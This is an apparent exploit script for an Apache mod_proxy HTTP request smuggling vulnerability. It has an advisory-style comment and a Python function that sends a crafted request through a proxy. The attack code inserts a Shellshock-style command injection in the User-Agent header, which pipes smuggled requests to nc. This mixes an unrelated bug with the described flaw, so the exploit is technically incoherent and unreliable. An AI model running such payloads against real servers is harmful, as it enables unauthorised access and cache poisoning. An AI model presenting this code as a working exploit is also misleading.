Apache 2.4.55 mod_proxy HTTP Request Smuggling Exploit

# Some mod_proxy configurations on Apache HTTP Server versions 2.4.0 through
# 2.4.55 allow a HTTP Request Smuggling attack. Configurations are affected
# when mod_proxy is enabled along with some form of RewriteRule or
# ProxyPassMatch in which a non-specific pattern matches some portion of the
# user-supplied request-target (URL) data and is then re-inserted into the
# proxied request-target using variable substitution. For example, something
# like: RewriteEngine on RewriteRule "^/here/(.*)" "
# http://example.com:8080/elsewhere?$1"; [P] ProxyPassReverse /here/
# http://example.com:8080/ Request splitting/smuggling could result in bypass
# of access controls in the proxy server, proxying unintended URLs to
# existing origin servers, and cache poisoning. Users are recommended to
# update to at least version 2.4.56 of Apache HTTP Server.

import requests

def send_exploit(proxy_url):
    exploit_headers = {
        'User-Agent': '() { :; }; /bin/echo -e "GET /here/../here HTTP/1.1\r\nHost: www.example.com\r\n\r\nGET /nonexistent HTTP/1.1\r\nHost: www.example.com\r\n\r\n" | nc example.com 80',
        'Connection': 'close'
    }

    exploit_url = 'http://example.com/here/../here'
    response = requests.get(exploit_url, headers=exploit_headers, proxies={'http': proxy_url, 'https': proxy_url})

    print(response.text)

# Usage
send_exploit('http://localhost:8080')